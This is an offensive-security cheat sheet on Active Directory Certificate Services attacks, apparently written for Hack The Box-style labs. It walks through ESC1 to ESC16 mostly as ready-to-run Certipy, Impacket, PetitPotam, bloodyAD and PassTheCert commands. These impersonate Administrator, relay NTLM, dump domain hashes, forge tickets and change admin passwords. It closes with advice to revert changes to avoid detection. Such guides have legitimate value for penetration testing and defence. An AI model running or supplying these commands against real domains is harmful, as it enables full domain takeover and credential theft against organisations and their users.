๐Ÿ›๏ธActive Directory Certificate Services (ADCS)

Introduction to ADCS

Active Directory Certificate Services (ADCS) is the role that handles certificate issuance for users, computers, and services in the Active Directory network. When misconfigured, this service can present vulnerabilities that attackers could exploit to escalate privileges or access sensitive information.

Common ADCS Vulnerabilities

  • Certificate Issuance Privilege Delegation: If certain users have permissions to issue certificates for others, an attacker could abuse these privileges to obtain elevated permissions.

  • Certificate Template Misconfiguration: Incorrect configurations in certificate templates could allow an attacker to request a certificate on behalf of another user, including one with elevated privileges.

  • NTLM Relaying over HTTP: If ADCS accepts NTLM authentication instead of Kerberos, an attacker could redirect requests to gain access.

Main Components

  • CA (Certification Authority): Issues and manages certificates. There can be multiple CAs in a hierarchy.

  • Certificate Templates: Define configuration, permissions, and requirements for issuing certificates.

  • CES (Certificate Enrollment Server): Allows certificate renewal through HTTPS requests.

  • Certificate Enrollment Policy Web Server: Provides information about certificate enrollment policies.

  • CA Web Enrollment: Allows hosts outside the domain or with other operating systems to renew certificates.

  • NDES (Network Device Enrollment Service): Allows network devices to obtain certificates without connection.

X.509 Certificate Formats

  • PEM: Base64-encoded DER certificate; can store multiple keys without password protection.

  • DER: Certificate in raw binary format.

  • PFX/P12 (PKCS#12): Stores private keys with password protection.

  • P7B (PKCS#7): Stores certificate chains but not private keys.

Main Certificate Attributes

  • Subject: Entity to which the certificate is issued.

  • Issuer: Usually the CA.

  • SAN: Subject Alternative Name.

  • Validity Period: Certificate validity period.

  • EKU (Extended Key Use): Defines specific uses of the certificate.

  • OID (Object Identifier): Indicates the purpose or usage scenario of the certificate.

OID
Certificate Usage

1.3.6.1.5.5.7.3.1

Server Authentication

1.3.6.1.5.5.7.3.2

Client Authentication

1.3.6.1.5.5.7.3.3

Code Signing

1.3.6.1.5.5.7.3.4

Secure Email

CSR (Certificate Signing Request) Process

  1. Client sends a certificate request (CSR).

  2. CA verifies client permissions to issue the requested certificate.

  3. If permissions match, CA generates and signs the certificate with its private key.

  4. Signed certificate is returned to the client.

Checking Misconfigured Templates

We'll use Certipy for privilege escalation with ADCS.

GitHub Repository: ly4k/Certipy

To check for misconfigured templates that we can abuse:

certipy-ad find -u user@domain.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout

Common Issues and Solutions

KDC_ERR_PADATA_TYPE_NOSUPP Error

This error occurs when attempting to authenticate with a user's PFX certificate, indicating that the KDC doesn't support the provided authentication type.

Common Causes:

  • Domain controller doesn't have a certificate installed for smart cards

  • DC lacks "Domain Controller", "Domain Controller Authentication", or another certificate with Server Authentication EKU

  • Wrong CA is being queried or proper CA cannot be contacted

Solution: Use PassTheCert to authenticate to LDAP via SChannel:

# Extract private key and certificate from PFX
certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key

# Authenticate using PassTheCert
python3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain domain.htb -dc-ip 10.10.10.10

# Get LDAP shell access
python3 /opt/PassTheCert/Python/passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain domain.htb -dc-ip 10.10.10.10

ESC Attack Techniques

ESC1 - Domain Users Enrollment

Certificate request with alternative SAN.

Standard Users

# Authentication with credentials
certipy-ad req -u user@domain.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator@domain.htb -dc-ip 10.10.10.10

# Authentication with NTLM hash (Pass-The-Hash)
certipy-ad req -u user@domain.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator@domain.htb -dc-ip 10.10.10.10

# Kerberos authentication (requires TGT/.ccache file in KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn administrator@domain.htb -dc-ip 10.10.10.10 -target dc.domain.htb

Certificate Authentication:

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -d domain.htb

Domain Computers (Machine Account)

When ESC1 is only available through Domain Computers:

# Add new machine to domain using PowerView
powerview domain.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Add-ADComputer -ComputerName Gzzcoo -ComputerPass Gzzcoo123

# Request certificate as machine account
certipy-ad req -u 'Gzzcoo$'@domain.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator@domain.htb -dc-ip 10.10.10.10

ESC2

Certificate request with alternative SAN:

certipy-ad req -u user@domain.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn user

Authentication:

certipy-ad auth -pfx administrator.pfx -username administrator -dc-ip 10.10.10.10 -d domain.htb

Verification:

KRB5CCNAME=administrator.ccache wmiexec.py domain.htb/administrator@dc.domain.htb -k -no-pass

ESC3

Request certificate and then impersonate administrator:

# Request initial certificate
certipy-ad req -u user@domain.htb -p "Password01!" -ca <ca_name> -template <template_name> /altname:administrator@domain.htb

# Request certificate impersonating Administrator
certipy-ad req -u user@domain.htb -p "Password01!" -ca <ca_name> -template <template_name> -on-behalf-of 'domain.htb\administrator' -pfx user.pfx

ESC4

Modify vulnerable template:

# Attack vulnerable ESC4 template
certipy-ad template -u 'user@domain.htb' -p 'Password01!' -template <template_name> -save-old -dc-ip 10.10.10.10

# Verify template modification
certipy-ad find -u 'user@domain.htb' -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout

# Abuse modified template
certipy-ad req -u 'user@domain.htb' -p 'Password01!' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10

# Get NTLM hash
certipy-ad auth -pfx administrator.pfx -domain domain.htb

# Restore template to original state
certipy-ad template -u 'user@domain.htb' -p 'Password01!' -template <template_name> -configuration <template_name>.json

ESC5

Request and approve certificate:

# Request Domain Admin certificate
certipy-ad req -u 'user@domain.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -template <template> -upn Administrator

# Approve request (specify request ID)
certipy-ad ca -u 'user@domain.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -issue-request 10

# Retrieve issued certificate
certipy-ad req -u 'user@domain.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -retrieve 10

# Authenticate with Administrator certificate
certipy-ad auth -pfx administrator.pfx -username administrator -domain domain.htb -dc-ip <ip> -ns <ip> -dns-tcp

ESC6

Certificate request with alternative UPN:

certipy-ad req -u 'user@domain.htb' -p 'Password01!' -ca <ca_name> -target <ip> -template <template_name> -upn administrator@domain.htb

ESC7

Prerequisites: User must have "Manage CA" and "Manage Certificates" access rights, and SubCA template must be enabled.

# Add user as officer (if only having Manage CA rights)
certipy-ad ca -ca '<ca_name>' -add-officer 'User' -u 'user@domain.htb' -p 'Password01!'

# Enable SubCA template
certipy-ad ca -ca '<ca_name>' -enable-template SubCA -u 'user@domain.htb' -p 'Password01!'

# Request SubCA certificate (will be rejected but saves private key)
certipy-ad req -u 'user@domain.htb' -p 'Password01!' -ca '<ca_name>' -target dc.domain.htb -template SubCA -upn administrator@domain.htb

# Issue the failed certificate request
certipy-ad ca -ca '<ca_name>' -issue-request <ID> -u 'user@domain.htb' -p 'Password01!'

# Retrieve issued certificate
certipy-ad req -u 'user@domain.htb' -p 'Password01!' -ca '<ca_name>' -target dc.domain.htb -retrieve <ID>

ESC8

NTLM Relay attack:

# Start Certipy relay
certipy-ad relay -target <adcs_ip> -template <machine_template>

# Perform Authentication Coercion (from another terminal)
coercer coerce -l <your_ip> -t <adcs_ip> -u 'user@domain.htb' -p 'Password01!' -d domain.htb -v

# Request TGT as machine account
certipy-ad auth -pfx machine_account.pfx

Possible follow-up attacks:

DCSync Attack (if Domain Admin privileges):

impacket-secretsdump 'DC$@domain.htb' -hashes :<NTLM_HASH> -dc-ip 10.10.10.10

Silver Ticket (using machine account NTLM hash):

# Create Silver Ticket
impacket-ticketer -nthash <nt_hash> -domain-sid <domain_sid> -domain domain.htb -spn <spn> Administrator

# Pass-The-Ticket with PsExec
KRB5CCNAME=administrator.ccache impacket-psexec -k -no-pass -target machine.domain.htb

ESC9

Requirements: GenericWrite or GenericAll over account A to compromise account B.

# Get victim's NTLM hash via Shadow Credentials
certipy-ad shadow auto -username hacker@domain.htb -p 'Password01!' -account victim

# Update victim's UPN to Administrator
certipy-ad account update -username hacker@domain.htb -p 'Password01!' -user victim -upn administrator

# Request certificate using vulnerable template
certipy-ad req -username victim@domain.htb -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <ca_name> -template <template_name>

# Restore victim's original UPN
certipy-ad account update -username hacker@domain.htb -p 'Password01!' -user victim -upn victim@domain.htb

# Authenticate with issued certificate
certipy-ad auth -pfx administrator.pfx -domain domain.htb

ESC10

Case 1: Standard Account Compromise

# Get victim's NTLM hash via Shadow Credentials
certipy-ad shadow auto -username hacker@domain.htb -p 'Password01!' -account victim

# Modify victim's UPN to Administrator
certipy-ad account update -username hacker@domain.htb -p 'Password01!' -user victim -upn Administrator

# Request certificate
certipy-ad req -username victim@domain.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>

# Revert victim's UPN
certipy-ad account update -username hacker@domain.htb -p 'Password01!' -user victim -upn victim@domain.htb

# Authenticate as Administrator
certipy-ad auth -pfx administrator.pfx -domain domain.htb

Case 2: Machine Account Compromise

# Get victim's NTLM hash
certipy-ad shadow auto -username hacker@domain.htb -p 'Password01!' -account victim

# Modify victim's UPN to DC machine account
certipy-ad account update -username hacker@domain.htb -p 'Password01!' -user victim -upn 'DC$@domain.htb'

# Request certificate as victim for DC
certipy-ad req -username victim@domain.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>

# Revert victim's UPN
certipy-ad account update -username hacker@domain.htb -p 'Password01!' -user victim -upn victim@domain.htb

# Authenticate with DC certificate and get LDAP shell
certipy-ad auth -pfx <dc_machine_name>.pfx -domain domain.htb -dc-ip 10.10.10.10 -ldap-shell

# Create new computer account and configure RBCD
add_computer <new_account_name> <new_account_pass>
set_rbcd <dc_machine_name>$ <new_account_name>$

# Abuse RBCD to impersonate Administrator
impacket-getST -spn cifs/<dc_machine_name>$@domain.htb -impersonate Administrator -dc-ip 10.10.10.10 domain.htb/'<new_account_name>$':<new_account_pass>

# Authenticate with Administrator TGT
KRB5CCNAME=administrator.ccache wmiexec.py domain.htb/administrator@dc.domain.htb -k -no-pass

ESC11

RPC-based relay attack:

# Configure relay
certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController

# Authentication Coerce with PetitPotam
python3 PetitPotam.py -u <user> -p <pass> -d <domain> <target_ip_address> <listener_address>

# Certipy receives DC authentication
certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController

Follow ESC8 steps after successful relay.

ESC13

Policy-based certificate template exploitation:

# Find vulnerable template with certificate policy
certipy-ad find -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip '$DC_IP'

# Request certificate for vulnerable template
certipy-ad req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Vulnerable template'

Use certificate with Pass-the-Certificate for TGT with additional group privileges.

ESC14

Scenario A: Write altSecurityIdentities on Target

# Check write permissions on altSecurityIdentities
bloodyAD --host 10.10.10.10 -d domain.htb -u 'userA' -p 'password' get writable --detail

# Create new Domain Computer
powerview domain.htb/user:'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Add-ADComputer -ComputerName gzzcoo -ComputerPass Gzzcoo123

# Get machine certificate
certipy-ad req -username 'gzzcoo$'@domain.htb -password 'Gzzcoo123' -ca <CA> -template Machine -target 10.10.10.10 -dc-ip 10.10.10.10

# Extract certificate
certipy-ad cert -pfx gzzcoo.pfx -nokey -out gzzcoo.crt

X509 Parser Script (x509.py):

import sys
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography import x509
from cryptography.hazmat.backends import default_backend

def format_serial_le(serial_int):
    hex_serial = format(serial_int, 'x').zfill(2)
    if len(hex_serial) % 2 != 0:
        hex_serial = '0' + hex_serial
    bytes_pairs = [hex_serial[i:i+2] for i in range(0, len(hex_serial), 2)]
    return ''.join(reversed(bytes_pairs))

def parse_issuer(cert):
    oid_map = {
        'commonName': 'CN',
        'countryName': 'C',
        'organizationName': 'O',
        'organizationalUnitName': 'OU',
        'stateOrProvinceName': 'ST',
        'localityName': 'L',
        'domainComponent': 'DC'
    }

    issuer = cert.issuer
    issuer_parts = []
    for attribute in issuer:
        oid = attribute.oid._name
        key = oid_map.get(oid, oid)
        value = attribute.value
        issuer_parts.append(f"{key}={value}")
    return ",".join(issuer_parts)

def get_cert_info(path):
    with open(path, 'rb') as f:
        data = f.read()

    if path.endswith('.pfx'):
        private_key, cert, _ = pkcs12.load_key_and_certificates(data, password=None, backend=default_backend())
    else:
        cert = x509.load_pem_x509_certificate(data, backend=default_backend())

    serial_le = format_serial_le(cert.serial_number)
    issuer = parse_issuer(cert)

    print(f"X509:<I>{issuer}<SR>{serial_le}")

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("Usage: python3 x509.py file.pfx|file.crt")
        sys.exit(1)
    get_cert_info(sys.argv[1])
# Get X509 identifier
python3 x509.py gzzcoo.pfx

# Modify target's altSecurityIdentities attribute
bloodyAD --host 10.10.10.10 -d domain.htb -u 'userA' -p 'password' set object 'userB' altSecurityIdentities -v 'X509:<I>DC=htb,DC=domain,CN=domain-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062'

# Authenticate as target user with machine certificate
certipy-ad auth -pfx gzzcoo.pfx -dc-ip 10.10.10.10 -domain domain.htb -username 'userB'

ESC15

Description: Certificate template allows authentication via Client Authentication EKU with altSecurityIdentities configured to use non-compliant Subject Alternative Name (SAN) values.

Requirements: Access to an account with certificate enrollment permissions, vulnerable certificate template with Client Authentication EKU, and permissive SAN configuration.

Detection

First, identify vulnerable templates using Certipy:

# Find vulnerable ESC15 templates
certipy-ad find -u 'cert_admin' -p 'P@ssw0rd123' -dc-ip 10.10.10.10 -vulnerable -stdout

Look for templates that allow:

  • Client Authentication in Extended Key Usage (EKU)

  • ENROLLEE_SUPPLIES_SUBJECT flag set

  • No manager approval required

  • Certificate Request Agent not required

Method 1: UPN Impersonation with Password Change (Destructive)

This method involves changing the target administrator's password, making it detectable but straightforward:

# Step 1: Request certificate impersonating Administrator with Client Authentication
certipy-ad req -dc-ip 10.10.10.10 -ca '<ca_name>' -target-ip 10.10.10.10 -u 'cert_admin@domain.htb' -p 'P@ssw0rd123' -template '<vulnerable_template>' -upn administrator@domain.htb -application-policies 'Client Authentication'

# Step 2: Authenticate as Administrator and change password via LDAP shell
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -ldap-shell
# In LDAP shell:
change_password Administrator NewP@ssw0rd123

# Step 3: Access system with new credentials
evil-winrm -i 10.10.10.10 -u Administrator -p 'NewP@ssw0rd123'

Method 2: On-Behalf-Of Request (Stealthy)

This method is more stealthy as it doesn't modify the administrator's password:

# Step 1: Request initial certificate with generic Application Policy OID
certipy-ad req -u 'cert_admin@domain.htb' -p 'P@ssw0rd123' -application-policies "1.3.6.1.4.1.311.20.2.1" -ca '<ca_name>' -template '<vulnerable_template>' -dc-ip 10.10.10.10

# Step 2: Request certificate on behalf of Administrator using User template
certipy-ad req -u 'cert_admin@domain.htb' -p 'P@ssw0rd123' -on-behalf-of 'DOMAIN\\Administrator' -template User -ca '<ca_name>' -pfx cert_admin.pfx -dc-ip 10.10.10.10

# Step 3: Synchronize time with Domain Controller and authenticate
sudo rdate -n 10.10.10.10
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10

# Step 4: Use obtained NTLM hash for Pass-the-Hash
evil-winrm -i 10.10.10.10 -u Administrator -H '<obtained_ntlm_hash>'

Method 3: Direct Certificate Authentication

Alternative approach using certificate for direct LDAP authentication:

# Step 1: Request certificate with both Client and Server Authentication
certipy-ad req -u 'cert_admin@domain.htb' -p 'P@ssw0rd123' -ca '<ca_name>' -template '<vulnerable_template>' -upn administrator@domain.htb -application-policies 'Client Authentication,Server Authentication' -dc-ip 10.10.10.10

# Step 2: Extract certificate components for Pass-the-Cert
certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key

# Step 3: Use Pass-the-Cert for LDAP access
python3 /opt/PassTheCert/Python/passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain domain.htb -dc-ip 10.10.10.10

Note: ESC15 vulnerabilities typically arise from misconfigured certificate templates that allow Subject Alternative Name spoofing combined with Client Authentication capabilities. Always verify the specific template configuration and adjust the exploitation approach accordingly.

ESC16

Security Extension disabled on CA.

Scenario A: UPN Manipulation

Requirements: StrongCertificateBindingEnforcement = 1 (Compatibility) or 0 (Disabled) on DCs, and attacker has write access to victim's UPN.

# Step 1: Read victim's initial UPN (optional for restoration)
certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -user 'victim' read

# Step 2: Update victim's UPN to target administrator's sAMAccountName
certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'administrator@domain.htb' -user 'victim' update

# Step 3: Obtain victim credentials (if needed via Shadow Credentials)
certipy-ad shadow auto -u 'attacker@domain.htb' -p 'Password01!' -dc-ip 10.10.10.10 -account 'victim'

# Step 4: Request certificate as victim user
export KRB5CCNAME=$(pwd)/victim.ccache
certipy-ad req -k -dc-ip 10.10.10.10 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'

# Step 5: Revert victim's UPN
certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'victim@domain.htb' -user 'victim' update

# Step 6: Authenticate as target administrator
certipy-ad auth -dc-ip 10.10.10.10 -pfx administrator.pfx -username 'administrator' -domain 'domain.htb'

Tools and Resources

Primary Tools

  • Certipy: Main tool for ADCS enumeration and exploitation

  • PassTheCert: Certificate-based authentication when PKINIT is not supported

  • PowerView: Domain enumeration and computer account management

  • BloodHound: Active Directory relationship mapping

  • Coercer: Authentication coercion attacks

Useful References

Notes and Best Practices

  1. Always save original configurations when modifying templates (ESC4, ESC7)

  2. Revert changes after successful exploitation to minimize detection

  3. Handle timeouts - If receiving "NETBIOS connection timeout" errors, retry the commands

  4. Certificate validation - Ensure proper certificate validation when authenticating

  5. Privilege verification - Always verify obtained privileges match expected access levels

Last updated